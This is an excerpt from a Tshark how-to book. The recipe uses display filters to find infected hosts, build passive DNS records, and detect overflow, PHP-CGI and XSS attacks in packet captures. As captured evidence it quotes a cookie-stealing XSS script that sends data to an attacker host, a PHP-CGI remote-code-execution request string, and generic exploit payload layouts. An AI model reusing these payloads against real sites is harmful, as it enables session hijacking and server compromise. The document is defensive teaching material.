Book Image

Instant Traffic Analysis with Tshark How-to

By : Borja Merino
Book Image

Instant Traffic Analysis with Tshark How-to

By: Borja Merino

Overview of this book

Malware, DoS attacks, SQLi, and data exfiltration are some of the problems that many security officers have to face every day. Having advanced knowledge in communications and protocol analysis is therefore essential to investigate and detect any of these attacks. Tshark is the ideal tool for professionals who wish to meet these needs, or students who want to delve into the world of networking.Instant Traffic Analysis with Tshark How-to is a practical, hands-on guide for network administrators and security officers who want to take advantage of the filtering features provided by Tshark, the command-line version of Wireshark. With this guide you will learn how to get the most out of Tshark from environments lacking GUI, ideal for example in Unix/Linux servers, offering you much flexibility to identify and display network traffic.The book begins by explaining the basic theoretical concepts of Tshark and the process of data collection. Subsequently, you will see several alternatives to capture traffic based on network infrastructure and the goals of the network administrator. The rest of the book will focus on explaining the most interesting parameters of the tool from a totally practical standpoint.You will also learn how to decode protocols and how to get evidence of suspicious network traffic. You will become familiar with the many practical filters of Tshark that identify malware-infected computers and lots of network attacks such as DoS attacks, DHCP/ARP spoof, and DNS flooding. Finally, you will see some tricks to automate certain tasks with Tshark and python scripts.You will learn everything you need to get the most out of Tshark and overcome a wide range of network problems. In addition you will learn a variety of concepts related to networking and network attacks currently exploited.
Table of Contents (7 chapters)

Implementing useful filters (Should know)


This recipe will show new parameters and filters of Tshark through practical examples that will help us to resolve many security incidents efficiently. We'll see how to locate malicious domains in our network, how to create a passive DNS service, and how we can do specialized searches with certain display filters.

How to do it...

The method that follows shows how to implement useful filters using just Tshark.

Malicious domains

  1. Knowing the pages to which users connect may be useful not only to meet web browsing patterns but also to locate infected computers. Here's an example:

    bmerino@Mordor:$ tshark -R http.request -T fields -e http.host -r malware.pcap  | sort -u > domains
    
  2. This command will dump all domains visited via HTTP to a text file. Now we can download an updated blacklist of malicious sites and see if any of the domains requested are listed in it:

    bmerino@Mordor:$ wget -q http://dns-bh.sagadc.org/justdomains -O mlwDomains
    bmerino@Mordor:$ grep -f domains mlwDomains
    apendiksator.ru
    
  3. The output tells us that at least one visited domain contains a malicious code. A search for that domain in http://www.malwaredomainlist.com confirms it contains the Blackhole exploit kit 2.0, which is why it has been blacklisted; so it is likely that the hosts that have visited this page may have been exploited. Let's see what hosts visited that domain:

    bmerino@Mordor:$ tshark -o column.format:'"Source","%s"' -r malware.pcap -R "http.host == apendiksator.ru " | sort -u
    192.168.1.42
    
  4. It seems that only that IP visited the malicious domain. If we consult the User-Agent of the browser used to access it, we can get useful information which may be of help in determining whether an exploit could be successful or not, especially if we detect a malicious domain that attempts to exploit some vulnerability in the browser.

    bmerino@Mordor:$ tshark -R http.request -T fields -e http.user_agent -r malware.pcap  -R "http.host == apendiksator.ru" | sort -u
    Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
    
  5. A detailed analysis of subsequent connections from that host after visiting the domain would help us to clarify the facts, but this is beyond the scope of this guide.

Passive DNS

If we have access to a DNS server with a large volume of traffic, it could be useful to us at any given time to implement a passive DNS service. The idea is to record the authoritative DNS responses sent to clients to know the IP domain association of each of the DNS queries. Having a history with this information will help to identify fast-flux botnets that constantly update DNS with very low TTL values, know what domain names are on a given IP, where a domain name pointed to in the past, and so on. With Tshark we can easily do this by running the following command:

bmerino@Mordor:$ tshark -i eth0 -f "src port 53"  -R "dns.flags.authoritative == 1" -n -T fields -e dns.qry.name -e dns.resp.addr -E occurrence=f

This command would generate the following output:

Capturing on eth0
securityartwork.es  90.161.233.229
google.com  212.106.221.23
dropbox.com  199.47.216.179

Matches operator

Let's see now an example with the operator matches:

  1. Since many exploits are made up of long chains of characters necessary to align the shellcode in memory, we can define a filter to look for packets that contain long strings such as 0×4141414141, 0×9090909090 (NOPs), or similar. To do this we can run:

    bmerino@Mordor:/$ tshark -r ftpOverflow.pcap -R 'tcp matches "([\x41-\x5A,\x30-\x39,\x90])\\1{200,}"' –q
    
  2. To demonstrate, however, the power that this operator can have, we will use a more complex filter. In this case we use a filter to find exploits against our web server that attempt to take advantage of a RET address or a Structured Exception Handling (SEH). According to the output, we can see how an attacker tried to exploit the web server taking advantage of the HEAD parameter. The long string of A followed by the backward short jmp (\x90\x90\xeb) matched the filter. Now that we have already identified the payload, we could dump it to a binary file and use scdbg or our preferred debugger to analyze the shellcode:

    bmerino@Mordor:/tmp$ tshark -r webExploit.pcap -R 'tcp matches "([\x41-\x5A,\x30-\x39,\x90])\\1{100,}.*((W00TW00T|w00tw00t|\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e)|(\xeb\.\x90\x90|\x90\x90\xeb.|([\x61]){5}))?"' -x 
    3 0.002129000 192.168.1.129 -> 192.168.1.130 HTTP 1246 HEAD /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
  3. Let's take another example. Just last year, a vulnerability in web servers running PHP as CGI (CVE-2012-1823) allowed attackers to execute remote code. Until the release of a patch to fix the problem, this vulnerability was used to compromise many web servers around the world. In cases like this, Tshark can be of great help to monitor any attempt to attack a server. Since many of the attacks used the auto_prepend_file and allow_url_include functions along with the -d parameter in GET/POST requests, we can create a filter such as this to match any attempt at exploitation:

    bmerino@Mordor:/$ tshark -r web.pcap -R 'http.request.uri matches "-d.*allow"'
     11 56.630402000 192.168.1.150 -> 192.168.1.50 HTTP 534 POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
    

How it works...

The operators contains and matches will allow us to search for literal strings in received packets. The matches operator, however, provides the additional advantage of supporting Perl Compatible Regular Expression (PCRE) so it will be of great interest when looking for a variety of attacks such as DDoS, fuzzing, opcodes that match a certain exploit, and so on. In the previous example, many exploits typically have a structure similar to the following:

payload= string + buffer + egg + shellcode + eip + nops + egghunter
payload= junk + egg + shellcode + eip + nops + egghunter
payload= junk + eip + nops + shellcode
payload= junk + egg + shellcode + junk1 + nseh + seh + nops + egghunter
payload= nops + shellcode + nops + eip + nops + farjump + nops
payload = junk + nseh + seh + nops + shellcode + junk1

We, therefore, used a complex filter to try to match any of these cases. You can see this example in more detail in http://www.securityartwork.es/2011/12/16/buscando-buffer-overflow-desde-wireshark/. Tshark obviously is not the right tool to locate and analyze shellcodes. The example is only intended to demonstrate the filtering power that the matches operator has. To this end, IDS, such as Snort, are more suitable to detect such attacks. However, keeping some of these filters in mind can save us a lot of time in certain circumstances.

In this recipe we have seen new Tshark parameters. One of the most used has been -T through which we could mold the output generated by Tshark. This function follows the syntax -T pd ml|psml|ps|text|fields, where each of the options represents the output format. Probably the most used by us is fields, as it allows us to specify which fields we want to show on screen. This parameter will provide us with huge advantages if we want to use the Tshark output to feed other programs or to make our own scripts; something you could not do with Wireshark.

The fields we want to display are indicated by the parameter –e, and we can optionally specify some aspects of its format by using -E. For example, to display on screen just the IP source address and the destination TCP port in a comma separated way (CSV format), we would use the following command:

bmerino@Mordor:/$ tshark -r capture.pcap -T fields -e ip.src -e tcp.dstport -E separator=, | head -1
192.168.1.136,443

You can view in more detail the –T and –E options in the online help of Thsark (http://www.wireshark.org/docs/man-pages/tshark.html).

Finally, as we will see in the next section, the -V option will allow us to visualize in great detail the packets received, showing each of the fields of each of the protocols. With -O, however, we can specify a detailed view only of the comma-separated list of protocols. For example, to show in detail just the OSPF protocol, we would execute Tshark as tshark -i eth0 -O ospf.

There's more...

Let's see an example with the contains operator. We will look for potential XSS attacks in POST requests to our web server:

bmerino@Mordor:/$ tshark -T fields -e frame.time -e ip.src -e ip.dst -e http.request.uri -r XSS.pcap -R 'http.request.method == POST and tcp contains "<script>"'

This would generate the following output:

Jan  9, 2013 13:55:10.710239000 192.168.1.130  192.168.1.129  /doRegister.php

It seems that the host 192.168.1.130 modified one of the POST parameters to inject JavaScript code on our web server (192.168.1.129). Let's see the code:

bmerino@Mordor:/$ tshark -V -r XSS.pcap -R 'http.request.method == POST and tcp contains "<script>"' | grep "<script>"

This would generate the following output:

name="><script>document.location.replace('http://192.168.1.160/cookie.php?c='+document.cookie);</script>&city=spain&mysubmit=0

According to the previous output, the attacker tried to inject the code to produce a persistent XSS taking advantage of the vulnerable field name. This way, when a user visits any page that includes the name registered, the cookie of that user will be sent to the host 192.168.1.160. We could see that the attack was successful after filtering HTTP traffic destined to that host (192.168.1.160):

bmerino@Mordor:/$ tshark -r XSS.pcap -R "tcp.dstport == 80 && ip.dst == 192.168.1.160" | grep cookie

This would generate the following output:

2138 455.082771000 192.168.1.129 -> 192.168.1.160 HTTP 453 GET /cookie.php?c=PHPSESSID=a3iiu2242kllmmae2099sa29322fda HTTP/1.1

As indicated in the output, it appears that the attacker got the cookie from at least one victim. We, therefore, conclude that the stored XSS injection was successful.